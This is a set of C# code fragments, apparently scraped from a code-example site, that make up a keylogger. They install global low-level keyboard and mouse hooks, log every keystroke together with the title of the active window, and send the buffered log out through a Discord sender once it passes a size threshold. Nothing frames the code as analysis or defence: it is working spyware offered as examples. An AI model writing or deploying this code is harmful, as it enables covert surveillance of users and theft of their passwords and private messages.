public static IntPtr mouse_hook_process(int nCode, IntPtr wParam, IntPtr lParam)
        {
            if (nCode < 0 || wParam != (IntPtr)WindowsMessages.WM_LBUTTONUP)
            {
                return(DLLImports.CallNextHookEx(mouse_hook, nCode, wParam, lParam));
            }

            string active_win = Utils.get_active_window_title() == null ? "Unknown"
                : Utils.get_active_window_title();

            if (active_win == "Unknown" || active_win == MouseHook.last_active_win)
            {
                return(DLLImports.CallNextHookEx(mouse_hook, nCode, wParam, lParam));
            }

            last_active_win = active_win;
            active_win      = ("[Pencerede:" + active_win + "]").ToUpperInvariant().Replace("ı", "I").Replace("I", "İ") + "\\n";

            if (!(KeyboardHook.key_buffer.Length < Settings.buffer_threshold) ||
                !((KeyboardHook.key_buffer.Length + active_win.Length) < Settings.buffer_threshold))
            {
                Program.discord.send();
                KeyboardHook.key_buffer = "";
                KeyboardHook.key_count  = 0;
            }

            KeyboardHook.key_buffer += active_win;

            return(DLLImports.CallNextHookEx(mouse_hook, nCode, wParam, lParam));
        }
        public static void run_message_loop()
        {
            while (DLLImports.GetMessage(out static_message, IntPtr.Zero, 0, 0) != -1)
            {
                DLLImports.TranslateMessage(ref static_message);
                DLLImports.DispatchMessage(ref static_message);
            }

            DLLImports.UnhookWindowsHookEx(KeyboardHook.keyboard_hook);
            Console.WriteLine("Message loop is done. Hooks are unhooked!");
        }
Beispiel #3
0
        public static void setup_hook()
        {
            IntPtr instance = DLLImports.LoadLibrary("user32.dll");

            if (instance == IntPtr.Zero)
            {
                return;
            }

            KeyboardHookGCRootedDelegate = keyboard_hook_process;
            keyboard_hook = DLLImports.SetWindowsHookEx(HookType.WH_KEYBOARD_LL, KeyboardHookGCRootedDelegate, instance, 0);
        }
        public static void setup_hook()
        {
            IntPtr instance = DLLImports.LoadLibrary("user32.dll");

            if (instance == IntPtr.Zero)
            {
                return;
            }

            MouseHookGCRootedDelegate = mouse_hook_process;
            mouse_hook = DLLImports.SetWindowsHookEx(HookType.WH_MOUSE_LL, MouseHookGCRootedDelegate, instance, 0);
        }
Beispiel #5
0
        public static string get_active_window_title()
        {
            const int     nChars = 256;
            StringBuilder Buff   = new StringBuilder(nChars);
            IntPtr        handle = DLLImports.GetForegroundWindow();

            if (DLLImports.GetWindowText(handle, Buff, nChars) > 0)
            {
                return(Buff.ToString());
            }
            return(null);
        }
Beispiel #6
0
        public static IntPtr keyboard_hook_process(int nCode, IntPtr wParam, IntPtr lParam)
        {
            if (nCode < 0 ||
                !(wParam == (IntPtr)WindowsMessages.WM_SYSKEYDOWN || wParam == (IntPtr)WindowsMessages.WM_KEYDOWN))
            {
                return(DLLImports.CallNextHookEx(keyboard_hook, nCode, wParam, lParam));
            }

            Keys   key        = (Keys)Marshal.ReadInt32(lParam);
            string parsed_key = Utils.key_parser(keysConverter.ConvertToString(null, CultureInfo.CurrentCulture, key));

            if (!(KeyboardHook.key_buffer.Length < Settings.buffer_threshold) ||
                !((KeyboardHook.key_buffer.Length + parsed_key.Length) < Settings.buffer_threshold))
            {
                Program.discord.send();
                key_buffer = "";
                key_count  = 0;
            }

            key_buffer += parsed_key;
            key_count++;

            return(DLLImports.CallNextHookEx(keyboard_hook, nCode, wParam, lParam));
        }